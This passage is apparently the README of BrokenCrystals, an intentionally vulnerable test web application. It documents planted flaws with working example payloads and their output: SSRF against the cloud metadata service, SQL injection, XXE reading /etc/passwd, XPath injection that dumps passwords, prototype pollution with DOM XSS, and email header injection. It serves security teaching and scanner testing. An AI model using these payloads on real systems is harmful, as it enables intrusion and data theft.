\"Root=1-67ea5603-2599f0b04e318fa9241a659d\"\n       },\n       \"origin\": \"18.212.149.236\",\n       \"url\": \"https://httpbin.org/get\"\n     }\n     ```\n\n     This demonstrates that the server can be used to make requests to external resources.\n\n  2. **Triggering a Request to an Internal Network Resource**:\n\n     ```bash\n     curl 'https://brokencrystals.com/api/file?path=http://169.254.169.254/latest/meta-data/ami-id'\n     ```\n\n     Example Response:\n\n     ```text\n     ami-id\n     ami-launch-index\n     ami-manifest-path\n     block-device-mapping/\n     events/\n     hostname\n     iam/\n     instance-action\n     instance-id\n     instance-life-cycle\n     instance-type\n     local-hostname\n     local-ipv4\n     mac\n     metrics/\n     network/\n     placement/\n     profile\n     public-hostname\n     public-ipv4\n     public-keys/\n     reservation-id\n     security-groups\n     services/%\n     ```\n\n     This demonstrates that the server can access internal network resources, which could expose sensitive information.\n\n  \u003c/details\u003e\n\n- **SQL injection (SQLi)** - The `/api/testimonials/count` endpoint receives and executes SQL query in the query parameter. Similarly, the `/api/products/views` endpoint utilizes the `x-product-name` header to update the number of views for a product. However, both of these parameters can be exploited to inject SQL code, making these endpoints vulnerable to SQL injection attacks.\n  \u003cdetails\u003e\n    \u003csummary\u003eSQL Injection Example Exploitation\u003c/summary\u003e\n\n  To demonstrate an SQL injection attack, you can use the following `curl` commands:\n\n  ```bash\n  $ curl -o /dev/null -s -w \"Total time: %{time_total} seconds\\n\" \"https://brokencrystals.com/api/testimonials/count?query=%3BSELECT%20PG_SLEEP(5)--\"\n  Total time: 5.687800 seconds\n  ```\n\n  This command injects a SQL query that causes the database to sleep for 5 seconds. The total time taken for the request indicates that the SQL injection was successful.\n\n  ```bash\n  $ curl -o /dev/null -s -w \"Total time: %{time_total} seconds\\n\" \"https://brokencrystals.com/api/testimonials/count?query=%3BSELECT%20PG_SLEEP(1)--\"\n  Total time: 1.691999 seconds\n  ```\n\n  Similar to the previous command, this one causes the database to sleep for 1 second, demonstrating the ability to manipulate the database's behavior through SQL injection.\n\n  ```bash\n  $ curl https://brokencrystals.com/api/testimonials/count?query=select%20count%28table_name%29%20as%20count%20from%20information_schema.tables\n  214\n  ```\n\n  This command retrieves the count of tables in the database's information schema, showing that the injected SQL query can access and extract data from the database.\n\n  ```\n  \u003c/details\u003e\n\n  ```\n\n- **Unvalidated Redirect** - The endpoint /api/goto redirects the client to the URL provided in the _url_ query parameter. The UI references the endpoint in the header (while clicking on the site's logo) and as a href source for the Terms and Services link in the footer.\n  \u003cdetails\u003e\n    \u003csummary\u003eUnvalidated Redirect Example Exploitation\u003c/summary\u003e\n\n  To demonstrate an unvalidated redirect attack, you can use the following `curl` command:\n\n  ```bash\n  $ curl -I \"https://qa.brokencrystals.com/api/goto?url=https://example.com\"\n  HTTP/1.1 302 Found\n  Location: https://malicious-site.com\n  ```\n\n  \u003c/details\u003e\n\n- **Version Control System** - The client_s build process copies SVN, GIT, and Mercurial source control directories to the client application root, and they are accessible under Nginx root.\n  \u003cdetails\u003e\n    \u003csummary\u003eVersion Control System Example Exploitation\u003c/summary\u003e\n\n  To demonstrate the exposure of version control system files, you can use the following `curl` commands:\n\n  1. **Accessing Git Configuration**:\n\n     ```bash\n     curl https://brokencrystals.com/.git/config\n     ```\n\n     Example Response:\n\n     ```text\n     [core]\n         repositoryformatversion = 0\n         filemode = true\n         bare = false\n         logallrefupdates = true\n         ignorecase = true\n         precomposeunicode = true\n     ```\n\n  2. **Accessing Mercurial Requirements**:\n\n     ```bash\n     curl https://brokencrystals.com/.hg/requires\n     ```\n\n     Example Response:\n\n     ```text\n     dotencode\n     fncache\n     generaldelta\n     revlogv1\n     sparserevlog\n     store\n     ```\n\n  These responses indicate that the version control system files are publicly accessible, which can expose sensitive information about the repository.\n\n  \u003c/details\u003e\n\n- **XML External Entity (XXE)** - The endpoint, POST /api/metadata, receives URL-encoded XML data in the _xml_ query parameter, processes it with enabled external entities (using `libxmljs` library) and returns the serialized DOM. Additionally, for a request that tries to load file:///etc/passwd as an entity, the endpoint returns a mocked up content of the file.\n  \u003cdetails\u003e\n    \u003csummary\u003eXXE Example Exploitation\u003c/summary\u003e\n\n  Additionally, the endpoint PUT /api/users/one/{email}/photo accepts SVG images, which are processed with libxml library and stored on the server, as well as sent back to the client.\n\n  To demonstrate an XXE attack, you can use the following `curl` command:\n\n  ```bash\n  curl 'https://brokencrystals.com/api/metadata' -X POST -H 'Content-Type: text/xml' \\\n   --data-raw '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003c!DOCTYPE replace [\u003c!ENTITY nexploit_xxe SYSTEM \"file://etc/passwd\"\u003e]\u003e \u003croot\u003e \u0026nexploit_xxe; \u003c/root\u003e'\n  ```\n\n  The response containse servers file://etc/passwd content\n\n  ```\n    \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n    \u003c!DOCTYPE replace [\n    \u003c!ENTITY nexploit_xxe SYSTEM \"file://etc/passwd\"\u003e\n    ]\u003e\n    \u003croot\u003e  root:x:0:0:root:/root:/bin/sh\n            bin:x:1:1:bin:/bin:/sbin/nologin\n            daemon:x:2:2:daemon:/sbin:/sbin/nologin\n            lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n            sync:x:5:0:sync:/sbin:/bin/sync\n            shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\n            halt:x:7:0:halt:/sbin:/sbin/halt\n            mail:x:8:12:mail:/var/mail:/sbin/nologin\n            news:x:9:13:news:/usr/lib/news:/sbin/nologin\n            uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\n            cron:x:16:16:cron:/var/spool/cron:/sbin/nologin\n            ftp:x:21:21::/var/lib/ftp:/sbin/nologin\n            sshd:x:22:22:sshd:/dev/null:/sbin/nologin\n            games:x:35:35:games:/usr/games:/sbin/nologin\n            ntp:x:123:123:NTP:/var/empty:/sbin/nologin\n            guest:x:405:100:guest:/dev/null:/sbin/nologin\n            nobody:x:65534:65534:nobody:/:/sbin/nologin\n            node:x:1000:1000::/home/node:/bin/sh\n    \u003c/root\u003e\n  ```\n\n  \u003c/details\u003e\n\n- **JavaScript Vulnerabilities Scanning** - Index.html includes an older version of several javascript libraries.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample of exploit\u003c/summary\u003e\n      ### List of URLs with Known Vulnerabilities\n\n      ```text\n      CVE-2020-11022 - https://brokencrystals.com/assets/vendor/jquery/jquery.min.js\n      CVE-2020-11023 - https://brokencrystals.com/assets/vendor/jquery/jquery.min.js\n      CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.bundle.js\n      CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.bundle.min.js\n      CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.js\n      CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.min.js\n      CVE-2025-26791 - https://brokencrystals.com/swagger/swagger-ui-bundle.js\n      ```\n\n      ### Finding Known Vulnerabilities with Retire.js\n\n      Retire.js is a tool that helps identify known vulnerabilities in JavaScript libraries. Below is an example of using Retire.js to scan a downloaded JavaScript file for vulnerabilities:\n\n      ```bash\n      # Download the JavaScript file\n      /app # curl https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.min.js -o bootstrap.min.js\n\n      # Scan the file with Retire.js\n      /app # retire --js bootstrap.min.js\n      ```\n\n      #### Output:\n      ```\n      ↳ bootstrap 4.1.0 has known vulnerabilities:\n        - severity: medium; summary: XSS in collapse data-parent attribute; CVE: CVE-2018-14040; https://github.com/twbs/bootstrap/issues/20184\n        - severity: medium; summary: XSS in data-container property of tooltip; CVE: CVE-2018-14042; https://github.com/twbs/bootstrap/issues/20184\n        - severity: medium; summary: XSS in data-target property of scrollspy; CVE: CVE-2018-14041; https://github.com/advisories/GHSA-pj7m-g53m-7638\n        - severity: medium; summary: XSS in data-template, data-content, and data-title properties of tooltip/popover; CVE: CVE-2019-8331; https://github.com/advisories/GHSA-9v3m-8fp8-mj99\n        - severity: medium; summary: Bootstrap Cross-Site Scripting (XSS) vulnerability; CVE: CVE-2024-6531; https://github.com/advisories/GHSA-vc8w-jr9v-vj7f\n      ```\n\n      This output highlights the vulnerabilities found in the specified JavaScript file, along with their severity, descriptions, and references for further details.\n\n  \u003c/details\u003e\n\n- **AO1 Vertical access controls** - The page /dashboard can be reached despite the rights of user.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample of bac.gif Demonstration\u003c/summary\u003e\n\n  To demonstrate the issue, you can refer to the following example:\n\n  ![Example of bac.gif Demonstration](docs/bac.gif)\n\n    \u003c/details\u003e\n\n- **Broken Function Level Authorization** - The endpoint DELETE `/users/one/:id/photo?isAdmin=` can be used to delete any user's profile photo by enumerating the user IDs and setting the `isAdmin` query parameter to true, as there is no validation of it's value on the server side.\n\n- **IFrame Injection** - The `/marketplace` page a URL parameter `videosrc` which directly controls the src attribute of the IFrame at the bottom of this page. Similarly, the home page takes a URL param `maptitle` which directly controls the `title` attribute of the IFrame at the CONTACT section of this page.\n  \u003cdetails\u003e\n    \u003csummary\u003eIFrame Injection Example Exploitation\u003c/summary\u003e\n\n  ![IFrame Injection Demonstration](docs/iframe.gif)\n\n  \u003c/details\u003e\n\n- **Excessive Data Exposure** - visiting the page `https://brokencrystals.com/adminpage` reveals a list of registered users, including their First Name, Last Name, Email, and Company. Observing the background traffic, a `GET /api/users/search/` request is made, and the response contains sensitive data such as `cardNumber` and `phoneNumber`.\n\n  This response exposes sensitive information, such as credit card numbers and phone numbers, which should not be accessible through this endpoint.\n\n  \u003cdetails\u003e\n    \u003csummary\u003eDemo of Excessive Data Exposure\u003c/summary\u003e\n\n  ![Demo of Excessive Data Exposure](docs/excessive_data_exposure.gif)\n\n  ```\n\n  \u003c/details\u003e\n\n  ```\n\n- **Business Constraint Bypass** - The `/api/products/latest` endpoint supports a `limit` parameter, which by default is set to 3. The `/api/products` endpoint is a password protected endpoint which returns all the products, yet if you change the `limit` param of `/api/products/latest` to be high enough you could get the same results without the need to be authenticated.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of Business Constraint Bypass\u003c/summary\u003e\n\n  ```bash\n  # Normal request that returns only 3 latest products\n  curl https://brokencrystals.com/api/products/latest\n\n  # Bypassing the constraint to get all products without authentication\n  curl https://brokencrystals.com/api/products/latest?limit=1000\n  ```\n\n  \u003c/details\u003e\n\n- **ID Enumeration** - There are a few ID Enumeration vulnerabilities:\n\n  1. The endpoint DELETE `/users/one/:id/photo?isAdmin=` which is used to delete a user's profile picture is vulnerable to ID Enumeration together with [Broken Function Level Authorization](#broken-function-level-authorization).\n  2. The `/users/id/:id` endpoint returns user info by ID, it doesn't require neither authentication nor authorization.\n\n- **XPATH Injection** - The `/api/partners/*` endpoint contains the following XPATH injection vulnerabilities:\n\n  1. The endpoint GET `/api/partners/partnerLogin` is supposed to log in with the user's credentials in order to obtain account info. It's vulnerable to an XPATH injection using boolean based payloads. When exploited it'll retrieve data about other users as well. You can use `' or '1'='1` in the password field to exploit the EP.\n  2. The endpoint GET `/api/partners/searchPartners` is supposed to search partners' names by a given keyword. It's vulnerable to an XPATH injection using string detection payloads. When exploited, it can grant access to sensitive information like passwords and even lead to full data leak. You can use `')] | //password%00//` or `')] | //* | a[('` to exploit the EP.\n  3. The endpoint GET `/api/partners/query` is a raw XPATH injection endpoint. You can put whatever you like there. It is not referenced in the frontend, but it is an exposed API endpoint.\n  4. Note: All endpoints are vulnerable to error based payloads.\n\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of XPATH Injection\u003c/summary\u003e\n\n  To demonstrate an XPATH injection attack, you can use the following `curl` command:\n\n  ```bash\n  $ curl \"https://brokencrystals.com/api/partners/partnerLogin?user=anyuser\u0026password=%27%20or%20%271%27%3D%271\"\n  ```\n\n  Response:\n\n  ```xml\n  \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n  \u003croot\u003e\n    \u003cname\u003eWalter White\u003c/name\u003e\n    \u003cage\u003e50\u003c/age\u003e\n    \u003cprofession\u003eChemistry Teacher\u003c/profession\u003e\n    \u003cresidency country=\"US\" state=\"New Mexico\" city=\"Albuquerque\"/\u003e\n    \u003cusername\u003ewalter100\u003c/username\u003e\n    \u003cpassword\u003eHeisenberg123\u003c/password\u003e\n    \u003cwealth\u003e15M USD\u003c/wealth\u003e\n    \u003cname\u003eJesse Pinkman\u003c/name\u003e\n    \u003cage\u003e25\u003c/age\u003e\n    \u003cprofession\u003eProfessional Product Distributer\u003c/profession\u003e\n    \u003cresidency country=\"US\" state=\"New Mexico\" city=\"Yo Moma\"/\u003e\n    \u003cusername\u003edapinkman69\u003c/username\u003e\n    \u003cpassword\u003eYoyo1!\u003c/password\u003e\n    \u003cwealth\u003e5M USD\u003c/wealth\u003e\n    \u003cname\u003eMichael Ehrmantraut\u003c/name\u003e\n    \u003cage\u003e65\u003c/age\u003e\n    \u003cprofession\u003ePersonal Security Agent\u003c/profession\u003e\n    \u003cresidency country=\"US\" state=\"New Mexico\" city=\"Albuquerque\"/\u003e\n    \u003cusername\u003e_safetyman_\u003c/username\u003e\n    \u003cpassword\u003eLittleKid777\u003c/password\u003e\n    \u003cwealth\u003e50M USD\u003c/wealth\u003e\n    \u003cname\u003eGus Fring\u003c/name\u003e\n    \u003cage\u003e52\u003c/age\u003e\n    \u003cprofession\u003eRestaurant Chain Owner\u003c/profession\u003e\n    \u003cresidency country=\"US\" state=\"New Mexico\" city=\"Albuquerque\"/\u003e\n    \u003cusername\u003eChickMan\u003c/username\u003e\n    \u003cpassword\u003eGoodChicken4U\u003c/password\u003e\n    \u003cwealth\u003eToo much USD\u003c/wealth\u003e\n  \u003c/root\u003e\n  ```\n\n  \u003c/details\u003e\n\n- **Prototype Pollution** - The `/marketplace` endpoint is vulnerable to prototype pollution using the following methods:\n\n  1. The EP GET `/marketplace?__proto__[Test]=Test` represents the client side vulnerability, by parsing the URI (for portfolio filtering) and converting\n     its parameters into an object. This means that a requests like `/marketplace?__proto__[TestKey]=TestValue` will lead to a creation of `Object.TestKey`.\n     One can test if an attack was successful by viewing the new property created in the console.\n     This EP also supports prototype pollution based DOM XSS using a payload such as `__proto__[prototypePollutionDomXss]=data:,alert(1);`.\n     The \"legitimate\" code tries to use the `prototypePollutionDomXss` parameter as a source for a script tag, so if the exploit is not used via this key it won't work.\n  2. The EP GET `/api/email/sendSupportEmail` represents the server side vulnerability, by having a rookie URI parsing mistake (similar to the client side).\n     This means that a request such as `/api/email/sendSupportEmail?name=Bob%20Dylan\u0026__proto__[status]=222\u0026to=username%40email.com\u0026subject=Help%20Request\u0026content=Help%20me..`\n     will lead to a creation of `uriParams.status`, which is a parameter used in the final JSON response.\n\n- **Date Manipulation** - The `/api/products?date_from={df}\u0026date_to={dt}` endpoint fetches all products that were created between the selected dates. There is no limit on the range of dates and when a user tries to query a range larger than 2 years querying takes a significant amount of time. This EP is used by the frontend in the `/marketplace` page.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of Date Manipulation\u003c/summary\u003e\n\n  To demonstrate the issue, you can use the following `curl` commands:\n\n  1. **Querying a Short Date Range**:\n\n     ```bash\n     time curl 'https://brokencrystals.com/api/products?date_from=11-04-2024\u0026date_to=12-04-2025' \\\n     -H 'authorization: YOUR_AUTH_HEADER'\n     ```\n\n     Response:\n\n     ```json\n     [\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Opal\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/opal.jpg\u0026type=image/jpg\",\n         \"description\": \"the precious stone\",\n         \"viewsCount\": 82,\n         \"id\": 3\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Ruby\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/ruby.jpg\u0026type=image/jpg\",\n         \"description\": \"an intense heart crystal\",\n         \"viewsCount\": 141,\n         \"id\": 2\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Shattuckite\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/shattuckite.jpg\u0026type=image/jpg\",\n         \"description\": \"mistery\",\n         \"viewsCount\": 1310,\n         \"id\": 7\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Amber\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/amber.jpg\u0026type=image/jpg\",\n         \"description\": \"fossilized tree resin\",\n         \"viewsCount\": 98,\n         \"id\": 5\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Sapphire\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/sapphire.jpg\u0026type=image/jpg\",\n         \"description\": \"\",\n         \"viewsCount\": 68,\n         \"id\": 4\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Emerald\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/emerald.jpg\u0026type=image/jpg\",\n         \"description\": \"symbol of fertility and life\",\n         \"viewsCount\": 206,\n         \"id\": 6\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Amethyst\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/amethyst.jpg\u0026type=image/jpg\",\n         \"description\": \"a violet variety of quartz\",\n         \"viewsCount\": 1359,\n         \"id\": 1\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Bismuth\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/bismuth.jpg\u0026type=image/jpg\",\n         \"description\": \"rainbow\",\n         \"viewsCount\": 1254,\n         \"id\": 8\n       }\n     ]\n     ```\n\n     Execution Time: `0.652s`\n\n  2. **Querying a Long Date Range**:\n\n     ```bash\n     time curl 'https://brokencrystals.com/api/products?date_from=11-04-2000\u0026date_to=12-04-2025' \\\n     -H 'authorization: YOUR_AUTH_HEADER'\n     ```\n\n     Response:\n\n     ```json\n     [\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Bismuth\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/bismuth.jpg\u0026type=image/jpg\",\n         \"description\": \"rainbow\",\n         \"viewsCount\": 1254,\n         \"id\": 8\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Sapphire\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/sapphire.jpg\u0026type=image/jpg\",\n         \"description\": \"\",\n         \"viewsCount\": 68,\n         \"id\": 4\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Emerald\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/emerald.jpg\u0026type=image/jpg\",\n         \"description\": \"symbol of fertility and life\",\n         \"viewsCount\": 206,\n         \"id\": 6\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Amethyst\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/amethyst.jpg\u0026type=image/jpg\",\n         \"description\": \"a violet variety of quartz\",\n         \"viewsCount\": 1359,\n         \"id\": 1\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Opal\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/opal.jpg\u0026type=image/jpg\",\n         \"description\": \"the precious stone\",\n         \"viewsCount\": 82,\n         \"id\": 3\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Ruby\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/ruby.jpg\u0026type=image/jpg\",\n         \"description\": \"an intense heart crystal\",\n         \"viewsCount\": 141,\n         \"id\": 2\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Shattuckite\",\n         \"category\": \"Jewellery\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/shattuckite.jpg\u0026type=image/jpg\",\n         \"description\": \"mistery\",\n         \"viewsCount\": 1310,\n         \"id\": 7\n       },\n       {\n         \"createdAt\": \"2025-04-11T07:47:25.000Z\",\n         \"name\": \"Amber\",\n         \"category\": \"Healing\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/amber.jpg\u0026type=image/jpg\",\n         \"description\": \"fossilized tree resin\",\n         \"viewsCount\": 98,\n         \"id\": 5\n       },\n       {\n         \"createdAt\": \"2023-12-10T12:00:00.000Z\",\n         \"name\": \"Axinite\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/axinite.jpg\u0026type=image/jpg\",\n         \"description\": \"brown\",\n         \"viewsCount\": 0,\n         \"id\": 10\n       },\n       {\n         \"createdAt\": \"2020-11-18T12:00:00.000Z\",\n         \"name\": \"Pietersite\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/pietersite.jpg\u0026type=image/jpg\",\n         \"description\": \"blue\",\n         \"viewsCount\": 0,\n         \"id\": 11\n       },\n       {\n         \"createdAt\": \"2005-01-10T12:00:00.000Z\",\n         \"name\": \"Labradorite\",\n         \"category\": \"Gemstones\",\n         \"photoUrl\": \"/api/file?path=config/products/crystals/labradorite.jpg\u0026type=image/jpg\",\n         \"description\": \"rainbow\",\n         \"viewsCount\": 0,\n         \"id\": 9\n       }\n     ]\n     ```\n\n     Execution Time: `2.647s`\n\n\u003c/details\u003e\n- **Email Injection** - The `/api/email/sendSupportEmail` is vulnerable to email injection by supplying tempered recipients.\n  To exploit the EP you can dispatch a request as such `/api/email/sendSupportEmail?name=Bob\u0026to=username%40email.com%0aCc:%20bob@domain.com\u0026subject=Help%20Request\u0026content=I%20would%20like%20to%20request%20help%20regarding`.\n  This will lead to the sending of a mail to both `username@email.com` and `bob@domain.com` (as the Cc).\n  Note: This EP is also vulnerable to `Server side prototype pollution`, as mentioned in this README.\n\n- **Insecure Output Handling** - The `/chat` route is vulnerable to insecure output handling, where the LLM response is not properly sanitized before being rendered. This can lead to the execution of malicious scripts if the response contains unsanitized HTML or JavaScript.\n\n  \u003cdetails\u003e\n    \u003csummary\u003eInsecure Output Handling Example\u003c/summary\u003e\n\n  ![Insecure Output Handling Demonstration](docs/insecure_output_handling.gif)\n\n  \u003c/details\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fneuralegion%2Fbrokencrystals","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fneuralegion%2Fbrokencrystals","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fneuralegion%2Fbrokencrystals/lists"}